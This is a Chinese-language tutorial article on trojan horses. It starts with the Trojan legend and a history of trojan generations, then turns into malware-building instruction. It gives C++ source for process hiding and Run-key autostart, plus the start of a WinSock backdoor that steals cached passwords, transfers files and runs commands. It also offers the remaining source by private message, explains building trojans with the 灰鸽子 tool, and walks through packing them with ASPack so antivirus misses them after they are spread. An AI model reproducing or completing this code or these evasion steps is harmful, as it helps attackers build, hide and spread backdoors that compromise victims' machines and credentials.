简介:大家应该对"木马"这个名词都不陌生,很多人感觉自己的“电脑系统变慢了”,“某些文件打不开了”,“打开网页慢了”就怀疑自己是不是中"病毒木马"了,其实这里要给大家解释一下,"病毒"和"木马"并不 ...
大家应该对"木马"这个名词都不陌生,很多人感觉自己的“电脑系统变慢了”,“某些文件打不开了”,“打开网页慢了”就怀疑自己是不是中"病毒木马"了,其实这里要给大家解释一下,"病毒"和"木马"并不是一个统一概念,本质上还是有一些区别的,木马虽然属于病毒中的一类,但是要单独的从病毒类型中间剥离出来.独立的称之为"木马"程序。一、 木马程序简介1、 木马的由来和定义由来:先讲个故事,故事发生在在三千多年的古希腊,特洛伊的王子帕里斯爱上了斯巴达国王的妻子——绝世美女海伦。王子把她带回了特洛伊古城,这时斯巴达王非常的愤怒,他找到了自己的哥哥,迈锡尼国王阿加伽门农,请求他的的帮忙,阿伽门农正好也希望征服特洛伊,于是借此机会建立了一支希腊联军讨伐特洛伊古城。然后事情却没那么简单,建军围攻了特洛伊古城9年仍未攻下,到了第十年,将领奥德修斯想出一计,将一批勇士藏于一批巨大的木马腹内,放在城外,大部队则佯装退军。特洛伊人以为敌军已退,就打开城门,打扫战场,并把敌军留下的那只木马作为战利品带进了城中。全程饮酒狂饮,到了夜间,全城军民进入梦乡,而埋伏在木马中的勇士们跳了出来,并打开城门四处放火,城外将士一拥而入,部队里应外合,攻下了特洛伊城池。后代称这只大木马为"特洛伊木马"。后来,人们在写文章时,就常用"特洛伊木马"这一典故比作在敌方营垒内埋下伏兵里应外合的活动。基础定义:入侵者编写入侵他人电脑并进行控制和破坏的程序,就叫做"木马程序"。木马与计算机网络中常常要用到的远程控制软件有些相似,但由于远程控制软件是"善意"的控制,因此通常不具有隐蔽性;"木马"则完全相反,木马的目的是要达到 "偷窃"性的远程控制,如果没有很强的隐蔽性的话,那就是"毫无价值"的。2、木马的主要特点(1)伪装性:木马总是伪装成其他程序来迷惑管理员。(2)潜伏性:木马能够毫无声响地打开端口等待外部连接。(3)隐蔽性:木马的运行隐蔽,甚至使用任务管理器都看不出来。(4)自动运行性:当系统启动时自动运行。二、 木马的工作原理1、基本原理木马是一种基于远程控制的黑客工具,一般来说,木马程序包括客户端和服务端两部分。三、 木马的演变与种类1、木马的演变从木马的发展来看,把木马分为五代。1)第一代木马第一代的木马功能相当简单,典型的有back orifice(简称:BO)、netSpy等,早就退出了历史的舞台。第一代windows木马只是一个将自己伪装成特殊的程序或文件的软件,如伪装成一个用户登录窗口,当用户运行了木马伪装的登录窗口,输入用户名和密码后,木马将自动记录数据并转发给入侵者。2)第二代木马提供了几乎所有能够进行的远程控制操作。国内最具代表性的就是冰河木马和广外女生。3)第三代木马继续完善了连接与文件传输技术,并增加了木马穿透防火墙的功能,并出现了"反弹端口"技术,如国内的灰鸽子木马软件。4)第四代木马利用了远程线程插入技术,将木马线程插入DLL线程中,使系统更加难以发现木马的存在与入侵的连接方式。5)第五代木马相对于第四代木马,功能更加全面。而且应用DLL技术后在目标主机的计算机中不生成新的文件。2、木马的种类四、 木马程序的实现1、木马中的关键技术实现(附源码)1) 木马程序隐藏技术通过注册服务程序,实现进程伪隐藏的方法:WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int) { try { DWORD dwVersion = GetVersion();//取得Windows的版本号 if (dwVersion >= 0x80000000) // Windows 9x隐藏任务列表 { int (CALLBACK *rsp)(DWORD,DWORD); HINSTANCE dll=LoadLibrary("KERNEL32.DLL");//装入KERNEL32.DLL rsp=(int(CALLBACK *)(DWORD,DWORD))GetProcAddress(dll,"RegisterServiceProcess");//找到RegisterServiceProcess的入口 rsp(NULL,1);//注册服务 FreeLibrary(dll);//释放DLL模块 } } catch (Exception &exception)//处理异常事件 { //处理异常事件 } return 0;}2)程序的自启动运行技术展示一段通过修改HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersions/Run键值来实现自启动的程序: HKEY hkey;AnsiString NewProgramName=AnsiString(sys)+AnsiString("+PName/">//")+PNameunsigned long k;k=REG_OPENED_EXISTING_KEY;RegCreateKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE//MICROSOFT//WINDOWS//CURRENTVERSION//RUN//",0L,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS|KEY_SET_VALUE,NULL,&hkey,&k);RegSetValueEx(hkey,"BackGroup",0,REG_SZ,NewProgramName.c_str(),NewProgramName.Length());RegCloseKey(hkey);if (int(ShellExecute(Handle,"open",NewProgramName.c_str(),NULL,NULL,SW_HIDE))>32){WantClose=true;Close();}else{HKEY hkey;unsigned long k;k=REG_OPENED_EXISTING_KEY;long a=RegCreateKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE//MICROSOFT//WINDOWS//CURRENTVERSION//RUN",0,NULL,REG_OPTION_NON_VOLATILE,KEY_SET_VALUE,NULL,&hkey,&k);RegSetValueEx(hkey,"BackGroup",0,REG_SZ,ProgramName.c_str(),ProgramName.Length());int num=0;char str[20];DWORD lth=20;DWORD type;char strv[255];DWORD vl=254;DWORD Suc;do{Suc=RegEnumValue(HKEY_LOCAL_MACHINE,(DWORD)num,str,NULL,&type,strv,&vl);if (strcmp(str,"BGroup")==0){DeleteFile(AnsiString(strv));RegDeleteValue(HKEY_LOCAL_MACHINE,"BGroup");break;}}while(Suc== ERROR_SUCCESS);RegCloseKey(hkey);}2、 WINSOCK编程完成一个简单"木马程序"实现(附源码)用异步SOCKET方式, 直接调用WINSOCK API,WIN SDK写的木马(VC,C++ BUILDER下均编译,调试通过),无须客户端,编译后才几十K.实现了些 主要功能,文件浏览,上传,下载(均支持统配符),改变目录,获取系统信息,从CACHE取密码, 执行文件,显示进程, 发送消息,关机, 还有些控制功能。源代码如下: #include <windows.h> #include <winsock.h> #include <mmsystem.h> #pragma hdrstop #include <condefs.h> #pragma argsused #define RUN "//WinMon32.exe" //注册服务 #define SERVICE_PROC 1 //卸载服务 #define UNSERVICE_PROC 0 #define TH32CS_SNAPPROCESS 0x00000002 #define PROCESS_HANDLE_NAME 255 //缓冲区长度 #define dwBuffSize 2048 //命令行长度 #define dwComm 50 #define PORT 9102 #define WM_SOCKET WM_USER+1 #define PROMPT "LanLan://>" DWORD dwVersion=MAKEWORD(1,1); DWORD dwFlag=TRUE; WSADATA wsaData; SOCKET CreateSock,NewSock; SOCKADDR_IN Sock_in,NewSock_in; LPTSTR szReadBuff,Ob,TempBuff; int addrlen; //CACHE PASSWORD结构 typedef struct tagPASSWORD_CACHE_ENTRY { WORD cbEntry; WORD cbResource; WORD cbPassword; BYTE iEntry; BYTE nType; char abResource[1]; } PASSWORD_CACHE_ENTRY; typedef BOOL (WINAPI *CACHECALLBACK)(PASSWORD_CACHE_ENTRY *pce,DWORD); //CACHE PASSWORD函数原形 typedef WORD (WINAPI *PWNetEnumCachedPasswords)( LPSTR pbPrefix, DWORD cbPrefix, DWORD nType, CACHECALLBACK pfnCallback, DWORD UNKNOWN ); //TOOLHELP32 结构 typedef struct tagPROCESSENTRY32 { DWORD dwSize; DWORD cntUsage; DWORD th32ProcessID; DWORD th32DefaultHeapID; DWORD th32ModuleID; DWORD cntThreads; DWORD th32ParentProcessID; LONG pcPriClassBase; DWORD dwFlags; TCHAR szExeFile[MAX_PATH]; } PROCESSENTRY32; typedef PROCESSENTRY32 * LPPROCESSENTRY32; 注:由于文章篇幅限制剩余源码可以私信我单独发送3、利用"灰鸽子"工具软件制作木马灰鸽子简介: 灰鸽子是国内一款著名后门。比起前辈冰河、黑洞来,灰鸽子可以说是国内后门的集大成者。其丰富而强大的功能、灵活多变的操作、良好的隐藏性使其他后门都相形见绌。客户端简易便捷的操作使刚入门的初学者都能充当黑客。当使用在合法情况下时,灰鸽子是一款优秀的远程控制软件。但如果拿它做一些非法的事,灰鸽子就成了很强大的黑客工具。方法如下:首先,在电脑上安装灰鸽子,然后进入其主页面 五、如何给易被查杀的木马"加壳"大家知道现在的病毒查杀软件对已知的木马程序很容易就查杀掉,所以当你好不容易制作的木马传播出去后,轻松就被客户端查杀掉了,这时我们就要利用加壳技术,给木马套个"壳"防止被杀1、什么是加壳? 加壳:是一种通过一系列数学运算,将可执行程序文件(EXE)或动态链接库文件(DLL)的编码进行改变(目前加壳软件还可以压缩、加密),以达到缩小文件体积或加密程序编码的目的。当被加壳的程序运行时,外壳程序先被执行,然后由这个外壳程序负责将用户原有的程序在内存中解压缩,并把控制权交还给脱壳后的真正程序。常见到的压缩壳有"UPX"、"北斗程序压缩"、"ASPack"等,加密壳有"PE-Armor"、"ASProtect"等等。2、利用ASPack加壳防止木马被查杀:步骤1:下载并运行ASPack2.28软件,即可打开ASPack 2.28主窗口,如图1-69所示。在"选项"选项卡中勾选"压缩资源"、"加载后立即运行"及"使用Windows DLL 加载器"等复选项,如下图所示: |